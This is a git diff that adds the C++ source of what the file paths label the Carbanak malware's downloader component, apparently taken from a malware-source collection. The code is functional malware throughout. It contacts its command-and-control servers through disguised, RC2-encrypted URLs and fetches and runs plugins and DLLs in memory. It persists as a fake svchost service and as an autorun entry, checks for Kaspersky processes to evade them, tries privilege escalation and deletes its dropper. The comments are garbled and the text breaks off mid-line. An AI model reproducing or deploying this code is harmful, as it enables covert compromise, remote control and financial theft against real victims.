CountSimpleExts = 7;+char* SimpleExts[CountSimpleExts] = { _CT_(".gif"), _CT_(".jpg"), _CT_(".png"), _CT_(".htm"), _CT_(".html"), _CT_(".php"), _CT_(".shtml") };+const int CountParamsExts = 3;+char* ParamsExts[CountParamsExts] = { _CT_(".php"), _CT_(".bml"), _CT_(".cgi") };++Proxy::Connector* connector;++bool Init()+{+ numAdmin = 0;+ if( !Socket::Init() ) return false;+ connector = 0;+ return true;+}++void Release()+{+ if( connector)+ delete connector;+}++bool GetHostAdmin( int type, StringBuilder& host )+{+ int* num = 0;+ const char* config_hosts = 0;+ switch(type)+ {+ case 0: num = &numAdmin; config_hosts = Config::Hosts; break;+ default:+ return false;+ }+ StringBuilder hosts( MaxSizeHostAdmin, DECODE_STRING(config_hosts) );+ StringArray hs = hosts.Split('|');+ if( hs.Count() > 0 )+ {+ if( *num > hs.Count() || *num < 0 ) *num = 0;+ host = hs[*num];+ return true;+ }+ return false;+}++static int CorrectlyInsert( int i, StringBuilder& s, const char* v, int c_v = -1 )+{+ while( i < s.Len() - 1 )+ {+ if( s[i - 1] != '-' && s[i - 1] != '.' && s[i] != '-' && s[i] != '.' )+ {+ s.Insert( i, v, c_v );+ return i;+ }+ i++;+ }+ return -1;+}++// returns position after inserted extension+static int InsertDirectories( StringBuilder& s, int len )+{+ char slash[2];+ slash[0] = '/';+ slash[1] = 0;+ int slashs = Rand::Gen( 1, 4 );+ int p = 0;+ int maxDist = len / slashs; // maximum number of characters after the slash+ for( int i = 0; i < slashs && p < len; i++ )+ {+ p += Rand::Gen( 1, maxDist );+ int pp = CorrectlyInsert( p, s, slash, 1 );+ if( pp < 0 )+ break;+ p = pp + 1;+ len++;+ }+ return p;+}++static int InsertExt( int i, StringBuilder& s, const char** exts, int c_exts )+{+ int n = Rand::Gen(c_exts - 1);+ StringBuilderStack<8> ext( DECODE_STRING(exts[n]) );+ if( i == 0 ) // insert at the end of the line+ {+ s.Cat( ext, ext.Len() );+ return s.Len();+ }+ else+ {+ i = CorrectlyInsert( i, s, ext, ext.Len() );+ if( i < 0 )+ i = s.Len();+ else+ i += ext.Len();+ return i;+ }+}++static void TextToUrl( const char* psw, const StringBuilder& text, StringBuilder& url )+{+ StringBuilder s;+ s += '|';+ s += text;+ s += '|';+ int lenleft = Rand::Gen( 10, 20 );+ int lenright = Rand::Gen( 10, 20 );+ int lenres = s.Len() + lenleft + lenright;+ //������ ����� ������� 24, ����� �������� �� 3 (��� base64 ��� = � �����) � �� 8 (����� ����� � RC2)+ int lenres2 = ((lenres + 23) / 24) * 24 - 1; //�������� 1, ����� ���������� ����� ������ 8+ lenleft += lenres2 - lenres;+ StringBuilder left, right;+ Rand::Gen( left, lenleft );+ Rand::Gen( right, lenright );+ s.Insert( 0, left );+ s += right;+ Mem::Data data;+ data.Copy( s.c_str(), s.Len() );+ EncryptToText( data, url );+ if( Rand::Condition(50) )+ {+ int lendirs = Rand::Gen( url.Len() - 20, url.Len() - 10 ); //�� ����� ����� ����� ���� ����������+ InsertDirectories( url, lendirs );+ InsertExt( 0, url, (const char**)SimpleExts, CountSimpleExts );+ }+ else+ {+ int lendirs = Rand::Gen( url.Len() / 2 - 10, url.Len() / 2 + 10 ); //�� ����� ����� ����� ���� ����������+ int p = InsertDirectories( url, lendirs );+ if( lendirs - p > 0 )+ p = InsertExt( lendirs, url, (const char**)ParamsExts, CountParamsExts );+ char c1[2]; c1[0] = '?'; c1[1] = 0;+ p = CorrectlyInsert( p, url, c1, 1 ); //��������� ?+ p++;+ c1[0] = '&'; //����������� ����������+ char c2[2]; c2[0] = '='; c2[1] = 0;+ int params = Rand::Gen( 1, 4 );+ int lenparams = url.Len() - p;+ int distParam = lenparams / params;+ for( int i = 0; i < params; i++ )+ {+ int p2 = p + Rand::Gen( 1, distParam );+ int p4 = p2 + 1; //������� ���������� ���������+ if( p2 > url.Len() || i == params - 1 )+ p2 = url.Len();+ else+ {+ p2 = CorrectlyInsert( p2, url, c1, 1 );+ p4++;+ }+ if( p2 < 0 ) break;+ int p3 = Rand::Gen( p + 2, p2 - 1 );+ p3 = CorrectlyInsert( p3, url, c2, 1 );+ p = p4 + 1;+ if( p >= url.Len() ) break;+ }+ }+}+++//��������� ������ � �������+bool GenUrl( int type, HTTP::Request& request, const StringBuilder& text )+{+ StringBuilderStack<64> host;+ if( GetHostAdmin( type, host ) )+ {+ request.SetHost(host);+ //���������� ���+ StringBuilder url;+ switch( type )+ {+ case 0:+ TextToUrl( DECODE_STRING(Config::Password), text, url );+ break;+ case 1:+ url = text;+ break;+ }+ request.SetFile(url);+ return true;+ }+ return false;+}++///////////////////////////////////////////////////////////////////////////////////////////////////////////+/// ������� �������� � ��������� ������ �������+///////////////////////////////////////////////////////////////////////////////////////////////////////////++bool GetCmd( StringBuilder& cmd )+{+ StringBuilder text;+ text += Config::UID;+ HTTP::Request request(connector);+ if( GenUrl( 0, request, text ) )+ {+ DbgMsg( "������: text %s", text );+ DbgMsg( "������: url %s", request.GetUrl(text).c_str() );+ if( request.Get(10000) )+ {+ Mem::Data data;+ if( Decrypt( request.Response(), data ) )+ {+ data.ToString(cmd);+ return true;+ }+ }+ }+ return false;+}++bool LoadPlugin( const char* namePlugin, Mem::Data& plugin )+{+ StringBuilderStack<64> text;+ text += Config::UID;+ text += '|';+ text += _CS_("plugin=");+ text += namePlugin;+ HTTP::Request request(connector);+ DbgMsg( "�������� �������: %s", text.c_str() );+#ifdef ON_PLUGINS_FOLDER+ StringBuilderStack<MAX_PATH> fileName = "c:\\plugins\\";+ fileName += namePlugin;+ if( File::IsExists(fileName) )+ {+ File::ReadAll( fileName, plugin );+ return true;+ }+ else+ return false;+#else+ if( AdminPanel::GenUrl( 0, request, text ) )+ {+ for( int i = 0; i < 10; i++ ) //������ 10 ������� ��������� ������+ {+ StringBuilder u;+ DbgMsg( "%s", request.GetUrl(u).c_str() );+ if( request.Get(5000) )+ {+ if( request.AnswerCode() == 200 )+ {+ if( Decrypt( request.Response(), plugin ) )+ {+ if( plugin.Len() > 0 )+ return true;+ }+ }+ else+ DbgMsg( "��� �������� ������� '%s' ������� HTTP ������ %d", namePlugin, request.AnswerCode() );+ }+ else+ DbgMsg( "������ ���������� ������� ��� �������� ������� '%s'", namePlugin );+ DbgMsg( "�� ������� ��������� ������, ������� ��� ���" );+ Delay(1000);+ }+ }+ return false;+#endif+}++bool LoadFile( const char* url, Mem::Data& data )+{+ HTTP::Request request( AdminPanel::connector );+ request.SetUrl(url);+#ifdef DEBUG_STRINGS+ StringBuilder url2;+ request.GetUrl(url2);+ DbgMsg( "���������� �������: '%s'", url2.c_str() );+#endif+ if( request.Get(5000) )+ {+ if( request.AnswerCode() == 200 )+ {+ data.Copy(request.Response());+ return true;+ }+ else+ DbgMsg( "������ '%s' ������ HTTP ������ %d", url, request.AnswerCode() );+ }+ else+ DbgMsg( "������ ���������� ������� ��� ���� '%s'", url );+ return false;+}+++///////////////////////////////////////////////////////////////////////////////////////////////////////////////////++bool EncryptToBin( const void* data, int c_data, Mem::Data& dst )+{+ if( dst.Copy( data, c_data ) > 0 )+ {+ byte IV[8];+ Rand::Gen( IV, 8 );+ if( Crypt::EncodeRC2( DECODE_STRING(Config::Password), (char*)IV, dst ) )+ {+ dst.Insert( 0, IV, sizeof(IV) );+ return true;+ }+ }+ return false;+}++bool EncryptToText( const void* data, int c_data, StringBuilder& dst )+{+ Mem::Data dstData;+ if( dstData.Copy( data, c_data ) > 0 )+ {+ StringBuilderStack<10> IV;+ Rand::Gen( IV, 8 );+ if( Crypt::EncodeRC2( DECODE_STRING(Config::Password), IV, dstData ) )+ {+ if( Crypt::ToBase64( dstData, dst ) )+ {+ dst.ReplaceChar( '/', '.' );+ dst.ReplaceChar( '+', '-' );+ dst.Insert( 0, IV );+ return true;+ }+ }+ }+ return false;+}++bool Decrypt( const Mem::Data& src, Mem::Data& dst )+{+ char IV[8];+ Mem::Copy( IV, src.Ptr(), sizeof(IV) );+ if( dst.Copy( 0, sizeof(IV), src ) > 0 )+ {+ if( Crypt::DecodeRC2( DECODE_STRING(Config::Password), IV, dst ) )+ {+ return true;+ }+ }+ return false;+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/config.cpp b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/config.cppnew file mode 100644index 0000000..3ba4663--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/config.cpp@@ -0,0 +1,236 @@+#include "main.h"+#include "config.h"+#include "core\debug.h"+#include "core\crypt.h"+#include "core\util.h"++namespace Config+{+//������ ����������� ��������+char PeriodConnect[MaxSizePeriodConnect] = PERIOD_CONTACT;+char Prefix[MaxSizePrefix] = PREFIX_NAME;+char Hosts[MaxSizeHostAdmin] = ADMIN_PANEL_HOSTS;+char Password[MaxSizePasswordAdmin] = ADMIN_PASSWORD;+byte RandVector[MaxSizeRandVector] = MASK_RAND_VECTOR;+char MiscState[MaxSizeMiscState] = MISC_STATE;+char TableDecodeString[256]; //������� ��� ������������� �������� � ������������� ������++//������ ����������� ��� ������ ����+char UID[32];+//����� ������������� �� ������ � ����� ��������� ��������� (����������) ����+char XorMask[32];+int waitPeriod;++char fileNameBot[MAX_PATH]; //��� ���������������� ����� ����+char nameService[64];++//������ ��� ���������� ��������� ����� ������������ ��� �����������+uint randA, randB, randR;+HANDLE botMutex = 0;+uint state = 0;++//������� ��� ���� � ����� ��� ��������� ��������� ����+static bool GenUID()+{+ byte buf[64];+ int c_macAddress = GetMacAddress(buf);+ if( c_macAddress == 0 ) return false;+ //��� ����� �������� 6 ����+ int hash1 = *((DWORD*)buf) ^ *((DWORD*)(buf + 2));+ DWORD c_compName = sizeof(buf) - c_macAddress;+ if( API(KERNEL32, GetComputerNameA)( (char*)buf + c_macAddress, &c_compName ) == 0 ) return false;+ uint hash2 = CalcHash( buf, c_macAddress + c_compName );+ //����� ������ �� ������ ���� ��� ��������+ Str::Format( XorMask, _CS_("%08x%08x"), hash1, hash2 );+ //��������� ��� � ���������+ StringBuilderStack<sizeof(UID)> _UID;+ _UID += DECODE_STRING(Prefix);+ _UID += '0';+ _UID += XorMask;+ Str::Copy( UID, _UID, _UID.Len() );+ return true;+}++static uint DecodeGenRand()+{+ randR = (randR * randA + randB) & 0xffff;+ return randR;+}++static void ExchangeDist( char* table, int p1, int p2, int count )+{+ int dist = p2 - p1 + 1;+ for( int i = 0; i < count; i++ )+ {+ int i1 = (DecodeGenRand() % dist) + p1;+ int i2 = (DecodeGenRand() % dist) + p1;+ char t = table[i1];+ table[i1] = table[i2];+ table[i2] = t;+ }+}++static void InitDecodeTable()+{+ char table[256];+ for( int i = 0; i < 256; i++ )+ table[i] = i;+ int exchanges = (randR % 1000) + 128;+ ExchangeDist( table, 1, 31, exchanges ); //��������� ����� ������ �������+ ExchangeDist( table, 32, 127, exchanges ); //��������� ascii �����+ ExchangeDist( table, 128, 255, exchanges ); //��������� ������� ��������+ for( int i = 0; i < 256; i++ )+ TableDecodeString[ table[i] ] = i;+}++bool Init()+{+ state = 0;+ //��������� ������������ ��� ���������� ��������� �����+ int n = MaxSizeRandVector - sizeof(ushort) * 3;+ randR = *((ushort*)&RandVector[n]);+ randA = *((ushort*)&RandVector[n + 2]);+ randB = *((ushort*)&RandVector[n + 4]);+ //������������� ������� �������������+ InitDecodeTable();+ if( !GenUID() ) return false;+ waitPeriod = Str::ToInt( DECODE_STRING(PeriodConnect) ) * 1000;+ if( waitPeriod <= 0 ) waitPeriod = 10 * 60 * 1000; //�� ��������� ��� � 10 �����++ char miscState[MaxSizeMiscState];+ Str::Copy( miscState, sizeof(miscState), DECODE_STRING(MiscState) );+ if( miscState[0] == '0' ) //��������� ���������� � ������������+ {+ state |= NOT_INSTALL_SERVICE | NOT_INSTALL_AUTORUN;+ DbgMsg( "��������� ���������� � ������������" );+ }+ if( miscState[1] == '0' ) //�������� ������ �������+ {+ state |= SPLOYTY_OFF;+ DbgMsg( "�������� ������ �������" );+ }+ if( miscState[2] == '1' )+ {+ state |= CHECK_DUPLICATION;+ DbgMsg( "�������� �������� ������� �����" );+ }++ return true;+}++StringBuilder& NameBotExe( StringBuilder& name )+{+ Crypt::Name(_CS_("downloader"), XorMask, name );+ return name += _CS_(".exe");+}++StringBuilder& FullNameBotExe( StringBuilder& path )+{+ StringBuilderStack<MAX_PATH> startup;+ Path::GetStartupUser(startup);+ StringBuilderStack<32> name;+ NameBotExe(name);+ return Path::Combine( path, startup, name );+}++bool GetBotFolder( StringBuilder& path, const char* addFolder, bool cryptAddFolder )+{+ Path::GetCSIDLPath( CSIDL_COMMON_APPDATA, path, _CS_("Adobe") );+ Path::CreateDirectory(path);+ if( addFolder )+ {+ StringBuilder name;+ if( cryptAddFolder )+ Crypt::Name( addFolder, XorMask, name );+ else+ name = addFolder;+ Path::AppendFile( path, name );+ Path::CreateDirectory(path);+ }+ return true;+}++static void CreateNameMutex( StringBuilder& name )+{+ Crypt::Name( _CS_("downloader_mutex"), Config::XorMask, name );+}++bool CreateMutex()+{+ StringBuilderStack<32> name;+ CreateNameMutex(name);+ botMutex = Mutex::Create(name);+ if( botMutex )+ return true;+ return false;+}++void ReleaseMutex()+{+ if( botMutex )+ {+ Mutex::Release(botMutex);+ botMutex = 0;+ }+}++};++#ifdef ON_CODE_STRING+//���������� ������� ��� ������������� ������������� �����+StringDecoded DECODE_STRING( const char* codeStr )+{+ int len = Str::Len(codeStr) - CountStringOpcode; //�������� ����� ������+ if( len < 0 ) len = 0; //���� ������������ ������ ������+ char* s = Str::Alloc(len + 1);+ int lenBlock = len / CountStringOpcode;+ int nb = 0; //����� �����+ int rb = 0; //������� �������� �������� � �����+ int delta = 0;+ int n = 0;+ int i = 0;+ while( n < len )+ {+ if( rb == 0 )+ {+ nb++;+ if( nb <= CountStringOpcode )+ {+ delta = codeStr[i] - 'a';+ i++;+ rb = lenBlock;+ }+ else+ rb = len - n;+ }+ if( rb > 0 )+ {+ rb--;+ int c = codeStr[i];+ int min, max;+ if( c < 32 )+ min = 1, max = 31;+ else if( c < 128 )+ min = 32, max = 127;+ else+ min = 128, max = 255;+ c = Config::TableDecodeString[c];+ c -= delta;+ if( c < min ) c = max - min + c;+ s[n++] = c;+ i++;+ }+ }+ s[n] = 0;+ return StringDecoded(s);+}++#else++//StringDecoded DECODE_STRING( const char* codeStr )+//{+// char* s = Str::Duplication(codeStr);+// return StringDecoded(s);+//}++#endif //ON_CODE_STRINGdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/main.cpp b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/main.cppnew file mode 100644index 0000000..018c889--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/main.cpp@@ -0,0 +1,253 @@+#include "core\core.h"+#include "core\rand.h"+#include "core\injects.h"+#include "core\file.h"+#include "core\elevation.h"+#include "main.h"+#include "adminka.h"+#include "task.h"+#include "service.h"++//���� ������� ����� ����� ������� ����� ������ ��������+char fileDropper[MAX_PATH];+//�������� ������� � ����� ������������ �����+bool SetAutorun( StringBuilder& dropper );+//��������� �������� �� ������� ��������������� ������+bool IsAutorun( StringBuilder& dropper );+//��������� � ������������+bool InstallBot( StringBuilder& path );+//���������� true, ���� ������� ����������+bool IsPresentKAV();+//���������� true ���� ������� �������� ����, � � Config::state ������������� ���� RUNNED_DUBLICATION+bool IsDuplication();+//������ � ��������+DWORD WINAPI MainLoop( void* );+DWORD WINAPI InstallBotThread( void* );++void main()+{+ if( !WinAPI::Init() ) return;+ if( !Core::Init() ) return;+ if( !Config::Init() ) return;+ Rand::Init();+ StringBuilder path( fileDropper, sizeof(fileDropper) );+ if( !Path::GetStartupExe(path) ) return;++ char paramUpdate[4];+ paramUpdate[0] = ' ';+ paramUpdate[1] = '-';+ paramUpdate[2] = 'u';+ paramUpdate[3] = 0;+ int posParam = 0;++ char* cmdLine = API(KERNEL32, GetCommandLineA)();+ int lenLine = Str::Len(cmdLine);++ if( (posParam = Str::IndexOf( cmdLine, paramUpdate, lenLine, sizeof(paramUpdate) - 1 )) > 0 ) //������� ����������+ {+ DbgMsg( "��������� ����������" );+ Delay(5000); //���� ���� ������ ���������+ Config::state |= EXTERN_NAME_MANAGER | RUNNED_UPDATE;+ StartBot();+ }+ else+ {+ //���������������� ������ �� ����+// char path2[MAX_PATH];+// API(KERNEL32, GetTempPathA)( MAX_PATH, path2 );+// API(KERNEL32, CreateFileA)( path2, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );+// if( API(KERNEL32, GetLastError)() == 3 )+ {+ IsDuplication();+ //������� �������� �� ���� ��������+ if( Service::IsService(path) )+ {+ if( (Config::state & RUNNED_DUBLICATION) == 0 )+ {+ fileDropper[0] = 0; //��������� ������������+ Config::state |= IS_SERVICE;+ if( !Service::Start() )+ StartBot();+ }+ }+ else if( IsAutorun(path) ) //���������� �� ������������+ {+ if( (Config::state & RUNNED_DUBLICATION) == 0 )+ {+ fileDropper[0] = 0; //��������� ������������+ StartBot();+ }+ }+ else //������� �������+ {+ DbgMsg( "������� �������" );+ StringBuilderStack<MAX_PATH> exeSdrop = path;+ bool res = false;+#ifndef OFF_SDPROP+ if( IsPresentKAV() )+ {+ Config::state |= NOT_DIRECT_INJECT /*| NOT_USED_INJECT | NOT_INSTALL_SERVICE | NOT_INSTALL_AUTORUN*/; //��� ������� ��������� ������ ������+ }+ else+ if( (Config::state & SPLOYTY_OFF) == 0 )+ res = Elevation::Sdrop(0);+#endif+ if( res ) //�������� ��������� �������� � ���������� �������+ {+ DbgMsg( "Sdrop ok" );+ }+ else+ {+ DbgMsg( "Sdrop bad" );+ }+ StartBot();+ }+ }+ }++ API(KERNEL32, ExitProcess)(0);+}++bool StartBot()+{+ return JmpToSvchost2(MainLoop);+}++bool InstallBot( StringBuilder& path )+{+ //�������� ������������ ��� ������+#ifndef OFF_SERVICE+ if( (Config::state & NOT_INSTALL_SERVICE) == 0 )+ if( Service::Install( path, false ) )+ {+ Config::state |= IS_SERVICE;+ return true;+ }+#endif+#ifndef OFF_AUTORUN+ //�������� ����� � ������������+ if( (Config::state & NOT_INSTALL_AUTORUN) == 0 )+ if( SetAutorun(path) )+ return true;+#endif+ return false;+}++DWORD WINAPI MainLoop( void* )+{+ if( !InitBot() ) return 0;++ if( !AdminPanel::Init() ) return 0;++ if( (Config::state & RUNNED_DUBLICATION) )+ {+ if( fileDropper[0] )+ InstallBotThread(0); //��������� ����� ��������� ������������+ return 0;+ }+ else+ {+ if( fileDropper[0] ) //��� ������� �������+ {+ Config::fileNameBot[0] = 0; //����� �� ��� ������������ (�������) �������+ RunThread( InstallBotThread, 0 ); //��� ���������� ��������� ��� ������������ � ������ ��������� ���+ }+ Task::Init();+ StringBuilder cmd(256);+ for(;;)+ {+ DbgMsg( "������ �������" );+ if( AdminPanel::GetCmd(cmd) )+ {+ Task::ExecCmd( cmd, cmd.Len() );+ }+ Delay(Config::waitPeriod);+ }+ }++ ReleaseBot();+ API(KERNEL32, ExitProcess)(0);+ return 0;+}++bool SetAutorun( StringBuilder& dropper )+{+ StringBuilderStack<MAX_PATH> autorun;+ Config::FullNameBotExe(autorun);+ Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), autorun, autorun.Len() );+ DbgMsg( "�������� � ������������: %s", autorun );+ File::SetAttributes( autorun, FILE_ATTRIBUTE_NORMAL ); //���� ���� ����������, �� ������� ��������� ������, ����� ������������ ��� �������+ if( File::Copy( dropper, autorun ) )+ {+ DbgMsg( "��������� � ������������ ������ �������" );+ File::SetAttributes( autorun, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ return true;+ }+ else+ DbgMsg( "� ������������ �� ������� ������������" );+ return false;+}++bool IsAutorun( StringBuilder& dropper )+{+ StringBuilderStack<32> name;+ Config::NameBotExe(name);+ int res = dropper.IndexOf(name);+ if( res >= 0 )+ return true;+ return false;+}++DWORD WINAPI InstallBotThread( void* )+{+ StringBuilder path( 0, sizeof(fileDropper), fileDropper );+ if( (Config::state & RUNNED_DUBLICATION) == 0 )+ {+ DbgMsg( "������� ����� ����������" );+ Delay(5000); //������� ����, ����� ����������� ������ ����� ���������, ���� ������ �����+ //�������� ������� � ���� �������, ������� ����� ����� ��������� ��� ����������+ //����� ���������� ��-�� ���� ��� KAV ����� ����������� exe � ��������� �����, � � ���� ����� �� �����+ if( (Config::state & NOT_INSTALL_SERVICE) == 0 )+ Service::Copy(path);+ InstallBot(path);+ }+ for( int i = 0; i < 10; i++ )+ {+//��� ������� ����� ��� ��������������, ���� �������� �������, �� ����� ��V+//����� KAV �� �������� ���� ������ �������� ����+ DbgMsg( "������� ������� %s, ������� %d", fileDropper, i + 1 );++ HANDLE hfile = File::Open( fileDropper, GENERIC_WRITE, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE );+ if( hfile )+ {+ File::Close(hfile);+ DbgMsg( "������� ������� ������" );+ break;+ }+ Delay(1000);+ }+ return 0;+}++bool IsPresentKAV()+{+ if( Process::GetPID( _CS_("avp.exe") ) ) return true;+ if( Process::GetPID( _CS_("avpui.exe") ) ) return true;+ return false;+}++bool IsDuplication()+{+ if( Config::state & CHECK_DUPLICATION )+ {+ if( Config::CreateMutex() )+ Config::ReleaseMutex(); //����� �����������, ������ ���������� �����+ else+ {+ Config::state |= RUNNED_DUBLICATION;+ DbgMsg( "������� ��������" );+ return true;+ }+ }+ return false;+}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/service.cpp b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/service.cppnew file mode 100644index 0000000..f38dd51--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/service.cpp@@ -0,0 +1,181 @@+#include "main.h"+#include "service.h"+#include "core\file.h"+#include "core\debug.h"+#include "core\reestr.h"+#include "core\service.h"++namespace Service+{++static SERVICE_STATUS serviceStatus;+static SERVICE_STATUS_HANDLE serviceStatusHandle;++bool GetFileNameService( StringBuilder& fileName )+{+ StringBuilderStack<MAX_PATH> path;+// if( Path::GetCSIDLPath( /*CSIDL_AP//PDATA*/ /*CSIDL_WINDOWS*/ CSIDL_SYSTEM, path ) )+// {+// Path::Combine( fileName, path, _CS_("com"), _CS_("svchost.exe") );+// return true;+// }+ if( Config::GetBotFolder(path) )+ {+ Path::Combine( fileName, path, _CS_("svchost.exe") );+ return true;+ }+ return false;+}++bool Copy( const StringBuilder& srcFile )+//bool Copy( const Mem::Data& data )+{+ StringBuilderStack<MAX_PATH> fileName;+ if( !GetFileNameService(fileName) )+ return false;+ if( File::IsExists(fileName) ) //���� ���� ����������, �� ������� ��� ��������, ����� �������������+ File::SetAttributes( fileName, FILE_ATTRIBUTE_NORMAL );+ if( !File::Copy( srcFile, fileName ) )+// if( !File::Write( fileName, data ) )+ {+ DbgMsg( "�� ������� ����������� '%s' -> '%s', ������ %d", srcFile.c_str(), fileName.c_str(), API(KERNEL32, GetLastError)() );+// DbgMsg( "�� ������� ����������� � '%s', ������ %d", fileName.c_str(), API(KERNEL32, GetLastError)() );+ return false;+ }+ File::SetAttributes( fileName, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ DbgMsg( "����������� '%s' -> '%s'", srcFile.c_str(), fileName.c_str() );+// DbgMsg( "����������� � '%s'", fileName.c_str() );+ return true;+}++bool Install( const StringBuilder& srcFile, bool copyFile )+{+ DbgMsg( "���������� ���� ��� �������, �������� ���� '%s'", srcFile.c_str() );+ StringBuilderStack<MAX_PATH> fileName;+ if( !GetFileNameService(fileName) )+ return false;+ DbgMsg( "��� ����� ������� '%s'", fileName.c_str() );++ if( copyFile )+ Copy( srcFile );+ else+ DbgMsg( "���� ������� ��� ��� ����������" );++ StringBuilderStack<256> nameService, displayName;+ if( !CreateNameService( nameService, displayName ) )+ return false;+ DbgMsg( "��� ������� '%s', '%s'", nameService.c_str(), displayName.c_str() );+ bool ret = Create( fileName, nameService, displayName );+ if( ret )+ {+ Str::Copy( Config::fileNameBot, sizeof(Config::fileNameBot), fileName, fileName.Len() );+ Str::Copy( Config::nameService, sizeof(Config::nameService), nameService.c_str(), nameService.Len() );+ }+ return ret;+}++static void WINAPI ServiceControlHandler( DWORD request )+{+ if( request == SERVICE_CONTROL_STOP || request == SERVICE_CONTROL_SHUTDOWN )+ {+ serviceStatus.dwWin32ExitCode = 0;+ serviceStatus.dwCurrentState = SERVICE_STOPPED;+ API(ADVAPI32, SetServiceStatus)( serviceStatusHandle, &serviceStatus );+ DbgMsg( "������ ����������" );+ return;+ }+}++//������� ������� �������+//������ ������������ ������ ��� ������� ����, ����� ���� ��� ��� �������+//������ ����� ��������� ������ ���������������, ����� ���������� ���� ������������+static void WINAPI ServiceMain(int argc, char** argv)+{+ DbgMsg( "ServiceMain" );+ serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;+ serviceStatus.dwCurrentState = SERVICE_START_PENDING;+ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;+ serviceStatus.dwWin32ExitCode = 0;+ serviceStatus.dwServiceSpecificExitCode = 0;+ serviceStatus.dwCheckPoint = 0;+ serviceStatus.dwWaitHint = 0;++ StringBuilderStack<64> nameService;+ StringBuilderStack<MAX_PATH> currPath;+ Path::GetStartupExe(currPath);+ currPath.Lower();+ GetNameService( nameService, currPath );++ serviceStatusHandle = API(ADVAPI32, RegisterServiceCtrlHandlerA)(nameService, (LPHANDLER_FUNCTION)ServiceControlHandler);+ if( !serviceStatusHandle )+ {+ return;+ }++ serviceStatus.dwCurrentState = SERVICE_RUNNING;+ API(ADVAPI32, SetServiceStatus)( serviceStatusHandle, &serviceStatus );+ DbgMsg( "������ '%s' �������", nameService );+#ifdef NOT_EXPLORER+ StartBot();+#else+ StartBotApart();+#endif+ int n = 0;+ //����� 5� ��������� ������+ while( serviceStatus.dwCurrentState == SERVICE_RUNNING )+ {+ Delay(1000);+ n++;+ if( n > 5 )+ {+ SC_HANDLE scmanager = API(ADVAPI32, OpenSCManagerA)(NULL, NULL, SERVICE_STOP);+ SC_HANDLE service = API(ADVAPI32, OpenServiceA)( scmanager, nameService, SERVICE_STOP );+ API(ADVAPI32, ControlService)( service, SERVICE_CONTROL_STOP, &serviceStatus);+ }+ }+ DbgMsg( "����� �� ServiceMain" );+}++bool Start()+{+ SERVICE_TABLE_ENTRY serviceTable[2];+ StringBuilderStack<64> nameService;+ StringBuilderStack<MAX_PATH> currPath;+ Path::GetStartupExe(currPath);+ currPath.Lower();+ if( !GetNameService( nameService, currPath ) )+ return false;+ Str::Copy( Config::nameService, sizeof(Config::nameService), nameService, nameService.Len() );++ serviceTable[0].lpServiceName = nameService;+ serviceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTIONA)ServiceMain;+ serviceTable[1].lpServiceName = 0;+ serviceTable[1].lpServiceProc = 0;++ if( API(ADVAPI32, StartServiceCtrlDispatcherA)(serviceTable) )+ {+ return true;+ }+ DbgMsg( "������ ���� �� ����������, ������ %08x", API(KERNEL32, GetLastError)() );+ return false;+}++bool IsService( const StringBuilder& fileName )+{+ StringBuilderStack<MAX_PATH> path;+ GetFileNameService(path);+ if( path == fileName )+ return true;+ return false;+}++bool DeleteWithFile( const StringBuilder& name, bool delFile )+{+ StringBuilder fileName;+ Service::GetFileName( name, fileName );+ DbgMsg( "��� ����� ������� %s", fileName.c_str() );+ Service::Delete(name);+ return File::DeleteHard(fileName);+}++}diff --git a/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/task.cpp b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/task.cppnew file mode 100644index 0000000..834405a--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/downloader/source/task.cpp@@ -0,0 +1,159 @@+#include "task.h"+#include "adminka.h"+#include "core\debug.h"+#include "core\file.h"+#include "main.h"+#include "core\runinmem.h"++namespace Task+{++//��� ������� ����������� �������+typedef void (*typeFuncExecCmd)( StringBuilder& cmd, StringBuilder& args );++//������ ����� ������� � ��������+struct CommandFunc+{+ uint nameHash;+ typeFuncExecCmd func;+};++static void ExecCmd_Download( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_Update( StringBuilder& cmd, StringBuilder& args );+static void ExecCmd_RunDll( StringBuilder& cmd, StringBuilder& args );++//������� ������+CommandFunc commands[] =+{+ { 0x06e533c4 /*download*/, ExecCmd_Download },+ { 0x07c6a8a5 /*update*/, ExecCmd_Update },+ { 0x079c4b2c /*rundll*/, ExecCmd_RunDll },+ { 0, 0 }+};++static HANDLE hbotExe = 0;++DWORD WINAPI ExecCmdThread( void* data );++void ProtectBot()+{+ File::SetAttributes( Config::fileNameBot, FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM );+ hbotExe = File::Open( Config::fileNameBot, GENERIC_READ, OPEN_EXISTING );+}++void UnprotectBot()+{+ File::Close(hbotExe);+ File::SetAttributes( Config::fileNameBot, FILE_ATTRIBUTE_NORMAL ); //������� ��������� ������+}++bool Init()+{+ ProtectBot();+ return true;+}++bool ExecCmd( const char* cmd, int len )+{+ char* data = Str::Duplication( cmd, len );+ return RunThread( ExecCmdThread, data );+}++DWORD WINAPI ExecCmdThread( void* data )+{+ int len = Str::Len( (char*)data );+ StringBuilder text( 0, len + 1, (char*)data, len );+ DbgMsg( "�������� �������: '%s'", text.c_str() );++ StringArray cmds = text.Split('\n');+ for( int i = 0; i < cmds.Count(); i++ )+ {+ char* cmd = cmds[i]->c_str();+ int p = Str::IndexOf( cmd, ' ' );+ if( p < 0 ) //p ����� ��������� 